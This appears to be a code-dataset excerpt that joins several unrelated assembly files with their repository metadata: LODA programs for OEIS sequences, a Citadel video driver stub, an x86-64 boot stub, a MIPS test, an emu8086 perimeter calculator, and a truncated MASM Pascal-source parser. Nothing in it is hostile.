00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | c8b58858ccc18fb269db0ea127884f725b7da81c | Assemblycode:Assembly | {"size": 356, "ext": "asm", "max_stars_repo_path": "oeis/021/A021703.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/021/A021703.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/021/A021703.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 25.4285714286, "max_line_length": 199, "alphanum_fraction": 0.5561797753} | ; A021703: Decimal expansion of 1/699.
; Submitted by Jamie Morken(s2.)
; 0,0,1,4,3,0,6,1,5,1,6,4,5,2,0,7,4,3,9,1,9,8,8,5,5,5,0,7,8,6,8,3,8,3,4,0,4,8,6,4,0,9,1,5,5,9,3,7,0,5,2,9,3,2,7,6,1,0,8,7,2,6,7,5,2,5,0,3,5,7,6,5,3,7,9,1,1,3,0,1,8,5,9,7,9,9,7,1,3,8,7,6,9,6,7,0,9,5,8
add $0,1
mov $2,1
lpb $0
sub $0,1
mul $2,10
lpe
div $2,699
mov $0,$2
mod $0,10
|
||||
TheStack | 6a1a57aa330c28fd01d46e05196da5c14c8dfe39 | Assemblycode:Assembly | {"size": 536, "ext": "asm", "max_stars_repo_path": "skeletnv.asm", "max_stars_repo_name": "dylancarlson/citplus", "max_stars_repo_stars_event_min_datetime": "2020-08-11T06:12:01.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-11T06:12:01.000Z", "max_issues_repo_path": "skeletnv.asm", "max_issues_repo_name": "dylancarlson/citplus", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "skeletnv.asm", "max_forks_repo_name": "dylancarlson/citplus", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 16.75, "max_line_length": 80, "alphanum_fraction": 0.453358209} | ; skeleton vid driver for citadel
ideal
model large, c
codeseg
org 0
desc db 'Skeleton Video Driver'
db 32 - ((offset $ - offset desc)) dup(0)
; filler for alignment
dw offset init_vid ; open vid
dw offset close_vid ; close vid
dw 123 dup (0) ; 128 total entries reserved
; -----------------------------------------------------------------------------
proc init_kbd
ret
endp
; -----------------------------------------------------------------------------
proc close_kbd
ret
endp
end
|
||||
TheStack | 49000625592baa2f498ec5b2534293ddf9af7755 | Assemblycode:Assembly | {"size": 1382, "ext": "asm", "max_stars_repo_path": "programs/oeis/094/A094763.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/094/A094763.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/094/A094763.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 153.5555555556, "max_line_length": 1205, "alphanum_fraction": 0.7720694645} | ; A094763: Trajectory of 2 under repeated application of the map n -> n + square excess of n.
; 2,3,5,6,8,12,15,21,26,27,29,33,41,46,56,63,77,90,99,117,134,147,150,156,168,192,215,234,243,261,266,276,296,303,317,345,366,371,381,401,402,404,408,416,432,464,487,490,496,508,532,535,541,553,577,578,580,584,592,608,640,655,685,694,712,748,767,805,826,868,895,949,998,1035,1046,1068,1112,1135,1181,1206,1256,1287,1349,1402,1435,1501,1558,1595,1669,1738,1795,1826,1888,1927,2005,2074,2123,2130,2144,2172,2228,2247,2285,2361,2418,2435,2469,2537,2574,2648,2695,2789,2874,2939,2962,3008,3100,3175,3214,3292,3335,3421,3478,3592,3703,3806,3891,3938,4032,4095,4221,4346,4467,4578,4667,4710,4796,4831,4901,4902,4904,4908,4916,4932,4964,5028,5156,5271,5358,5387,5445,5561,5646,5667,5709,5793,5810,5844,5912,6048,6167,6250,6259,6277,6313,6385,6529,6658,6755,6786,6848,6972,7055,7221,7386,7547,7698,7827,7910,8076,8231,8362,8443,8605,8746,8843,8850,8864,8892,8948,9060,9095,9165,9305,9394,9572,9735,9866,9931,10061,10122,10244,10287,10373,10545,10686,10763,10917,11018,11220,11415,11594,11739,11814,11964,12047,12213,12326,12331,12341,12361,12401,12481,12641,12738,12932,13095,13194,13392,13559,13662,13868,14047,14170,14179,14197,14233,14305,14449,14498,14596,14792,14943,15002,15120,15356,15583,15790,15955,16034
mov $1,2
lpb $0
cal $1,94761 ; a(n) = n + (square excess of n).
sub $0,1
lpe
|
||||
TheStack | b61650c9649ca4c193def0b3959cdd3bdaa0997b | Assemblycode:Assembly | {"size": 1739, "ext": "asm", "max_stars_repo_path": "src/asm/boot.asm", "max_stars_repo_name": "WesleyAC/subatomic", "max_stars_repo_stars_event_min_datetime": "2017-08-09T15:33:53.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-06T15:00:23.000Z", "max_issues_repo_path": "src/asm/boot.asm", "max_issues_repo_name": "WesleyAC/subatomic", "max_issues_repo_issues_event_min_datetime": "2017-07-23T23:23:14.000Z", "max_issues_repo_issues_event_max_datetime": "2017-11-17T21:09:59.000Z", "max_forks_repo_path": "src/asm/boot.asm", "max_forks_repo_name": "WesleyAC/subatomic", "max_forks_repo_forks_event_min_datetime": "2019-06-10T01:28:43.000Z", "max_forks_repo_forks_event_max_datetime": "2019-06-10T01:28:43.000Z"} | {"max_stars_count": 13, "max_issues_count": 2, "max_forks_count": 1, "avg_line_length": 18.6989247312, "max_line_length": 86, "alphanum_fraction": 0.6434732605} | extern kmain
global start
section .text
bits 32
start:
; Move Multiboot info pointer to edi to pass it to the kernel. We must not
; modify the `edi` register until the kernel it called.
mov edi, ebx
mov eax, p4_table
or eax, 0b11 ; present + writable
mov [p4_table + 511 * 8], eax
; Point the first entry of the level 4 page table to the first entry in the p3 table
mov eax, p3_table
or eax, 0b11 ; set present and writable
mov dword [p4_table + 0], eax
; Point the first entry of the level 3 page table to the first entry in the p2 table
mov eax, p2_table
or eax, 0b11 ; set present and writable
mov dword [p3_table + 0], eax
; point each page table level two entry to a page
mov ecx, 0 ; counter variable
.map_p2_table:
mov eax, 0x200000 ; 2MiB
mul ecx
or eax, 0b10000011 ; set huge page, present, writable
mov [p2_table + ecx * 8], eax
inc ecx
cmp ecx, 512
jne .map_p2_table
; move page table address to cr3
mov eax, p4_table
mov cr3, eax
; enable Physical Address Extention
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; set the long mode bit
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
; enable paging
mov eax, cr0
or eax, 1 << 31
or eax, 1 << 16
mov cr0, eax
lgdt [gdt64.pointer]
; update selectors
mov ax, gdt64.data
mov ss, ax
mov ds, ax
mov es, ax
; jump to long mode!
jmp gdt64.code:kmain
hlt
section .bss
align 4096
p4_table:
resb 4096
p3_table:
resb 4096
p2_table:
resb 4096
section .rodata
gdt64:
dq 0
.code: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41) | (1<<43) | (1<<53)
.data: equ $ - gdt64
dq (1<<44) | (1<<47) | (1<<41)
.pointer:
dw .pointer - gdt64 - 1
dq gdt64
|
||||
TheStack | 6c5bd865239c81ac2eaa346bc3986a0f762d70d3 | Assemblycode:Assembly | {"size": 437, "ext": "asm", "max_stars_repo_path": "CPU/cpu_test/test_storage/test8_jr_lw.asm", "max_stars_repo_name": "SilenceX12138/MIPS-Microsystems", "max_stars_repo_stars_event_min_datetime": "2021-09-06T12:12:47.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-15T04:30:53.000Z", "max_issues_repo_path": "CPU/cpu_test/test_storage/test8_jr_lw.asm", "max_issues_repo_name": "SilenceX12138/MIPS-Microsystems", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "CPU/cpu_test/test_storage/test8_jr_lw.asm", "max_forks_repo_name": "SilenceX12138/MIPS-Microsystems", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 55, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 10.925, "max_line_length": 17, "alphanum_fraction": 0.5812356979} | ori $1,$0,0x3014
sw $1,0($0)
jal loop1
lw $31,0($0)
ori $1,$0,1
ori $2,$0,2
j exit1
ori $3,$0,3
loop1:
jr $31
ori $4,$0,4
exit1:
ori $5,$0,0x303c
sw $5,4($0)
jal loop2
lw $31,4($0)
ori $5,$0,5
ori $6,$0,6
j exit2
ori $7,$0,7
loop2:
ori $8,$0,8
jr $31
ori $9,$0,9
exit2:
ori $10,$0,0x3068
sw $10,8($0)
jal loop3
lw $31,8($0)
ori $10,$0,10
ori $11,$0,11
j exit3
ori $12,$0,12
loop3:
ori $13,$0,13
ori $14,$0,14
jr $31
ori $15,$0,15
exit3:
|
||||
TheStack | 6f3237b8e6102a8f48f1fd2b7f655e3bb009bc99 | Assemblycode:Assembly | {"size": 1392, "ext": "asm", "max_stars_repo_path": "programs/oeis/159/A159008.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/159/A159008.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/159/A159008.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 116.0, "max_line_length": 1252, "alphanum_fraction": 0.7780172414} | ; A159008: Positive numbers k such that k^2 == 2 (mod 89).
; 25,64,114,153,203,242,292,331,381,420,470,509,559,598,648,687,737,776,826,865,915,954,1004,1043,1093,1132,1182,1221,1271,1310,1360,1399,1449,1488,1538,1577,1627,1666,1716,1755,1805,1844,1894,1933,1983,2022,2072,2111,2161,2200,2250,2289,2339,2378,2428,2467,2517,2556,2606,2645,2695,2734,2784,2823,2873,2912,2962,3001,3051,3090,3140,3179,3229,3268,3318,3357,3407,3446,3496,3535,3585,3624,3674,3713,3763,3802,3852,3891,3941,3980,4030,4069,4119,4158,4208,4247,4297,4336,4386,4425,4475,4514,4564,4603,4653,4692,4742,4781,4831,4870,4920,4959,5009,5048,5098,5137,5187,5226,5276,5315,5365,5404,5454,5493,5543,5582,5632,5671,5721,5760,5810,5849,5899,5938,5988,6027,6077,6116,6166,6205,6255,6294,6344,6383,6433,6472,6522,6561,6611,6650,6700,6739,6789,6828,6878,6917,6967,7006,7056,7095,7145,7184,7234,7273,7323,7362,7412,7451,7501,7540,7590,7629,7679,7718,7768,7807,7857,7896,7946,7985,8035,8074,8124,8163,8213,8252,8302,8341,8391,8430,8480,8519,8569,8608,8658,8697,8747,8786,8836,8875,8925,8964,9014,9053,9103,9142,9192,9231,9281,9320,9370,9409,9459,9498,9548,9587,9637,9676,9726,9765,9815,9854,9904,9943,9993,10032,10082,10121,10171,10210,10260,10299,10349,10388,10438,10477,10527,10566,10616,10655,10705,10744,10794,10833,10883,10922,10972,11011,11061,11100
mov $1,11
mov $3,$0
div $3,2
mul $1,$3
add $1,25
mov $2,$0
mul $2,39
add $1,$2
|
||||
TheStack | f7444d5a41c99c895a6b43e2d182f73d57aa138c | Assemblycode:Assembly | {"size": 610, "ext": "asm", "max_stars_repo_path": "Perimeter.asm", "max_stars_repo_name": "SuiGeneris01/emu8086", "max_stars_repo_stars_event_min_datetime": "2019-05-20T11:55:05.000Z", "max_stars_repo_stars_event_max_datetime": "2019-06-23T23:12:11.000Z", "max_issues_repo_path": "Perimeter.asm", "max_issues_repo_name": "SuiGeneris01/emu8086", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Perimeter.asm", "max_forks_repo_name": "SuiGeneris01/emu8086", "max_forks_repo_forks_event_min_datetime": "2021-05-04T13:16:25.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-04T13:16:25.000Z"} | {"max_stars_count": 3, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 13.5555555556, "max_line_length": 59, "alphanum_fraction": 0.637704918} | org 100h
include "emu8086.inc"
MOV DX, OFFSET MAIN
MOV AH,9
INT 21H
MOV DX, OFFSET QUE
MOV AH,9
INT 21H
CALL scan_num
MOV BX,CX
MOV DX, OFFSET QUES
MOV AH,9
INT 21H
CALL scan_num
MOV AX,CX
CALL pthis
db 13,10, "THE PERIMETER OF THE RECTANGLE IS = ", 0
CALL PERIMETER
CALL PRINT_NUM
ret
A DW 0
B DW 2
MAIN db "CALCULATES THE PERIMETER OF A RECTANGLE. $"
QUE db 13,10, "ENTER B: $"
QUES db 13,10, "ENTER C: $"
DEFINE_SCAN_NUM
DEFINE_PRINT_NUM
DEFINE_PRINT_NUM_UNS
DEFINE_PTHIS
PERIMETER PROC
ADD AX, BX
MUL B
RET
ENDP
E
|
||||
TheStack | 944d8afdd193baba351933c4d31025c37f435743 | Assemblycode:Assembly | {"size": 817, "ext": "asm", "max_stars_repo_path": "oeis/180/A180920.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/180/A180920.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/180/A180920.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 58.3571428571, "max_line_length": 484, "alphanum_fraction": 0.8567931457} | ; A180920: Number a(n) of terms in the sum of cube of consecutive integers starting from a(n) such that the sum equals a squared integer.
; 1,33,2017,124993,7747521,480221281,29765971873,1845010034817,114360856186753,7088528073543841,439374379703531361,27234123013545400513,1688076252460111300417,104633493529513355225313,6485588522577367912668961,402001854906267297230250241,24917629415665995060362845953,1544491021916385426445266198817,95733525729400230444546141480673,5933934104200897902135415505602881,367808180934726269701951215205897921,22798173283848827823618839927260068193,1413118935417692598794666124274918330017
seq $0,253654 ; Indices of pentagonal numbers (A000326) which are also centered pentagonal numbers (A005891).
div $0,5
mul $0,3
add $0,1
mul $0,2
sub $0,1
pow $0,2
div $0,48
mul $0,32
add $0,1
|
||||
TheStack | 282362201e518ed1d97d0908ee96dbeea6a7ebd3 | Assemblycode:Assembly | {"size": 330, "ext": "asm", "max_stars_repo_path": "programs/oeis/131/A131506.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/131/A131506.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/131/A131506.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 25.3846153846, "max_line_length": 210, "alphanum_fraction": 0.6090909091} | ; A131506: 2n+1 appears 2n-1 times.
; 3,5,5,5,7,7,7,7,7,9,9,9,9,9,9,9,11,11,11,11,11,11,11,11,11,13,13,13,13,13,13,13,13,13,13,13,15,15,15,15,15,15,15,15,15,15,15,15,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,19,19,19,19,19,19,19,19,19,19,19
lpb $0
add $1,2
sub $0,$1
trn $0,1
lpe
div $1,2
mul $1,2
add $1,3
mov $0,$1
|
||||
TheStack | 8f4914fe9aec1d06d943775eb0afe80c374b42f8 | Assemblycode:Assembly | {"size": 11219, "ext": "asm", "max_stars_repo_path": "Code/CustomControl/RAProperty/Src/FpParse.asm", "max_stars_repo_name": "CherryDT/FbEditMOD", "max_stars_repo_stars_event_min_datetime": "2016-12-03T16:35:42.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-26T06:02:53.000Z", "max_issues_repo_path": "Code/CustomControl/RAProperty/Src/FpParse.asm", "max_issues_repo_name": "CherryDT/FbEditMOD", "max_issues_repo_issues_event_min_datetime": "2018-02-24T20:17:46.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-02T08:57:40.000Z", "max_forks_repo_path": "Code/CustomControl/RAProperty/Src/FpParse.asm", "max_forks_repo_name": "CherryDT/FbEditMOD", "max_forks_repo_forks_event_min_datetime": "2018-10-19T01:14:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-11T18:51:48.000Z"} | {"max_stars_count": 11, "max_issues_count": 1, "max_forks_count": 4, "avg_line_length": 18.9190556492, "max_line_length": 75, "alphanum_fraction": 0.562082182} |
.const
szfpskipline db 10,7,'program'
db 10,4,'uses'
db 0,0,0
szfpword1 db 10,8,'function'
db 11,9,'procedure'
db 12,4,'type'
db 13,5,'const'
db 14,3,'var'
db 15,5,'begin'
db 16,3,'end'
db 0,0,0
szfpword2 db 10,6,'record'
db 11,3,'end'
db 12,5,'array'
db 13,2,'to'
db 0,0,0
szfpcomment db '{',0
szfpstring db '"',"'",0,0
.code
FpDestroyString proc lpMem:DWORD
mov eax,lpMem
movzx ecx,byte ptr [eax]
mov ch,cl
inc eax
.while byte ptr [eax]!=0 && byte ptr [eax]!=VK_RETURN
mov dx,[eax]
.if dx==cx
mov word ptr [eax],' '
lea eax,[eax+2]
.else
inc eax
.break .if dl==cl
mov byte ptr [eax-1],20h
.endif
.endw
ret
FpDestroyString endp
FpDestroyCmntBlock proc uses esi,lpMem:DWORD,lpCharTab:DWORD
mov esi,lpMem
@@:
invoke SearchMemDown,esi,addr szfpcomment,FALSE,FALSE,lpCharTab
.if eax
mov esi,eax
.while eax>lpMem
.break .if byte ptr [eax-1]==VK_RETURN || byte ptr [eax-1]==0Ah
dec eax
.endw
mov ecx,dword ptr szfpstring
mov edx,'//'
.while eax<esi
.if byte ptr [eax]==cl || byte ptr [eax]==ch
;String
invoke FpDestroyString,eax
mov esi,eax
jmp @b
.elseif word ptr [eax]==dx
;Comment
invoke DestroyToEol,eax
mov esi,eax
jmp @b
.endif
inc eax
.endw
.while byte ptr [esi]!='}' && byte ptr [esi]
mov al,[esi]
.if al!=VK_RETURN && al!=0Ah
mov byte ptr [esi],' '
.endif
inc esi
.endw
.if byte ptr [esi]=='}'
mov byte ptr [esi],' '
.endif
jmp @b
.endif
ret
FpDestroyCmntBlock endp
FpDestroyCommentsStrings proc uses esi,lpMem:DWORD
mov esi,lpMem
mov ecx,'//'
mov edx,dword ptr szfpstring
.while byte ptr [esi]
.if word ptr [esi]==cx
invoke DestroyToEol,esi
mov esi,eax
.elseif byte ptr [esi]==dl || byte ptr [esi]==dh
invoke FpDestroyString,esi
mov esi,eax
mov ecx,'//'
mov edx,dword ptr szfpstring
.elseif byte ptr [esi]==VK_TAB
mov byte ptr [esi],VK_SPACE
.else
inc esi
.endif
.endw
ret
FpDestroyCommentsStrings endp
FpPreParse proc uses esi,lpMem:DWORD,lpCharTab:DWORD
invoke FpDestroyCmntBlock,lpMem,lpCharTab
invoke FpDestroyCommentsStrings,lpMem
ret
FpPreParse endp
FpIsWord proc uses ecx ebx esi edi,lpWord:DWORD,lenWord:DWORD,lpList:DWORD
mov esi,lpList
mov edi,lenWord
.while byte ptr [esi]
movzx ebx,byte ptr [esi+1]
.if ebx==edi
invoke strcmpin,addr [esi+2],lpWord,edi
.if !eax
movzx eax,byte ptr [esi]
jmp Ex
.endif
.endif
lea esi,[esi+ebx+2]
.endw
xor eax,eax
Ex:
ret
FpIsWord endp
FpParseFile proc uses ebx esi edi,nOwner:DWORD,lpMem:DWORD
LOCAL len1:DWORD
LOCAL lpword1:DWORD
LOCAL len2:DWORD
LOCAL lpword2:DWORD
LOCAL lendt:DWORD
LOCAL lpdt:DWORD
LOCAL lenar:DWORD
LOCAL lpar:DWORD
LOCAL nnest:DWORD
LOCAL lenname[8]:DWORD
LOCAL lpname[8]:DWORD
LOCAL narray:DWORD
LOCAL lpCharTab:DWORD
LOCAL npos:DWORD
LOCAL nline:DWORD
LOCAL ntype:DWORD
mov eax,[ebx].RAPROPERTY.lpchartab
mov lpCharTab,eax
mov esi,lpMem
invoke FpPreParse,esi,lpCharTab
mov npos,0
mov ntype,0
.while byte ptr [esi]
call GetWord
mov eax,npos
mov nline,eax
.if ecx
mov len1,ecx
mov lpword1,esi
lea esi,[esi+ecx]
invoke FpIsWord,lpword1,len1,offset szfpskipline
.if eax
; Skip line
.while byte ptr [esi] && byte ptr [esi]!=';'
.if byte ptr [esi]==VK_RETURN
inc npos
.endif
inc esi
.endw
jmp NxtLine
.endif
invoke FpIsWord,lpword1,len1,offset szfpword1
.if eax
mov ntype,eax
.if eax==10
;Function
call GetWord
.if ecx
mov len1,ecx
mov lpword1,esi
lea esi,[esi+ecx]
call _Proc
.endif
mov ntype,0
.elseif eax==11
;Procedure
call GetWord
.if ecx
mov len1,ecx
mov lpword1,esi
lea esi,[esi+ecx]
call _Proc
.endif
mov ntype,0
.endif
.elseif ntype
mov eax,ntype
.if eax==12
;Type
call _Struct
.elseif eax==13
;Const
call GetWord
.if !ecx
.if byte ptr [esi]==':'
;Skip datatype
inc esi
call GetWord
lea esi,[esi+ecx]
call SkipSpc
.endif
.if byte ptr [esi]=='='
inc esi
Call _Const
.endif
.endif
.elseif eax==14
;Var
call GetWord
.if !ecx
.if byte ptr [esi]==':'
call _DataType
.if eax
call _Data
.endif
.while byte ptr [esi] && byte ptr [esi]!=';'
.if byte ptr [esi]==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
inc npos
.else
inc esi
.endif
.endw
.elseif byte ptr [esi]==','
call _DataType
.if eax
call _Data
.endif
inc esi
jmp Nxt
.endif
.endif
.endif
.endif
.endif
NxtLine:
call SkipLine
Nxt:
.endw
ret
SkipLine:
xor eax,eax
.while byte ptr [esi] && byte ptr [esi]!=VK_RETURN
inc esi
.endw
.if byte ptr [esi]==VK_RETURN
inc npos
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
.endif
retn
SkipSpc:
.while byte ptr [esi]==VK_SPACE
inc esi
.endw
retn
GetWord:
call SkipSpc
.if byte ptr [esi]==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
inc npos
.endif
mov edx,lpCharTab
xor ecx,ecx
dec ecx
@@:
inc ecx
movzx eax,byte ptr [esi+ecx]
cmp byte ptr [eax+edx],1
je @b
retn
SaveWord1:
push ebx
xor ecx,ecx
mov ebx,lpword1
.while ecx<len1
mov al,[ebx+ecx]
mov [edi+ecx],al
inc ecx
.endw
mov dword ptr [edi+ecx],0
lea edi,[edi+ecx+1]
pop ebx
retn
SaveWord2:
push ebx
xor ecx,ecx
mov ebx,lpword2
.while ecx<len2
mov al,[ebx+ecx]
mov [edi+ecx],al
inc ecx
.endw
mov dword ptr [edi+ecx],0
lea edi,[edi+ecx+1]
pop ebx
retn
_DataType:
mov lpar,0
push esi
push npos
.while byte ptr [esi] && byte ptr [esi]!=':'
inc esi
.endw
.if byte ptr [esi]==':'
inc esi
_DataType1:
call GetWord
.if ecx
invoke FpIsWord,esi,ecx,addr szfpword2
.if eax==12;array
lea esi,[esi+ecx]
call GetWord
.if byte ptr [esi]=='['
xor ecx,ecx
.while byte ptr [esi+ecx] && byte ptr [esi+ecx]!=']'
inc ecx
.endw
.if byte ptr [esi+ecx]==']'
inc ecx
.endif
mov lenar,ecx
mov lpar,esi
lea esi,[esi+ecx]
call GetWord
lea esi,[esi+ecx]
jmp _DataType1
.endif
.elseif !eax
mov lpdt,esi
mov lendt,ecx
pop npos
pop esi
mov eax,TRUE
retn
.endif
.endif
.endif
pop npos
pop esi
xor eax,eax
retn
_Data:
mov edi,offset szname
call SaveWord1
dec edi
.if lpar
mov eax,lenar
invoke strcpyn,edi,lpar,addr [eax+1]
add edi,lenar
.endif
mov byte ptr [edi],':'
inc edi
mov eax,lendt
invoke strcpyn,edi,lpdt,addr [eax+1]
add edi,lendt
mov word ptr [edi],0
mov edx,'d'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,2
retn
_Local:
mov eax,len1
invoke strcpyn,edi,lpword1,addr [eax+1]
add edi,len1
call _DataType
.if lpar
mov eax,lenar
invoke strcpyn,edi,lpar,addr [eax+1]
add edi,lenar
.endif
mov byte ptr [edi],':'
inc edi
mov eax,lendt
invoke strcpyn,edi,lpdt,addr [eax+1]
add edi,lendt
mov word ptr [edi],','
inc edi
retn
_Proc:
mov edi,offset szname
call SaveWord1
mov buff1,0
mov nnest,0
call GetWord
.if !ecx
.if byte ptr [esi]=='('
;Parameters
inc esi
.while byte ptr [esi] && byte ptr [esi]!=')'
call GetWord
.if ecx
push ecx
invoke strcpyn,edi,esi,addr [ecx+1]
pop ecx
lea edi,[edi+ecx]
lea esi,[esi+ecx]
call GetWord
.if !ecx
.if byte ptr[esi]==':'
movsb
push ecx
invoke strcpyn,edi,esi,addr [ecx+1]
pop ecx
lea edi,[edi+ecx]
lea esi,[esi+ecx]
.endif
.endif
.elseif byte ptr [esi]==';'
inc esi
mov byte ptr [edi],','
inc edi
.endif
.endw
mov byte ptr [edi],0
inc edi
.if byte ptr [esi]==')'
inc esi
.if ntype==10
;Return type
call GetWord
.if !ecx
.if byte ptr [esi]==':'
inc esi
call GetWord
.if ecx
push ecx
invoke strcpyn,edi,esi,addr [ecx+1]
pop ecx
lea edi,[edi+ecx]
lea esi,[esi+ecx]
.endif
.endif
.endif
.endif
.endif
mov byte ptr [edi],0
inc edi
.endif
.endif
push edi
mov edi,offset buff1
.while byte ptr [esi]
call GetWord
.if ecx
mov len1,ecx
mov lpword1,esi
lea esi,[esi+ecx]
invoke FpIsWord,lpword1,len1,offset szfpword1
.if eax==14
;Var
mov ntype,eax
.elseif eax==15
;Begin
mov ntype,eax
inc nnest
.elseif eax==16
;end
mov ntype,eax
dec nnest
.break .if ZERO?
.break .if SIGN?
.elseif ntype==14 && !eax
call _Local
.else
mov ntype,eax
.endif
.else
.if ntype==14 && byte ptr [esi]==':'
.while byte ptr [esi] && byte ptr [esi]!=';'
inc esi
.endw
.else
inc esi
.endif
.endif
.endw
.if buff1
.if byte ptr [edi-1]==','
mov byte ptr [edi-1],0
.endif
.endif
pop edi
invoke strcpy,edi,addr buff1
mov edx,'p'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,4
retn
_Const:
mov edi,offset szname
call SaveWord1
call SkipSpc
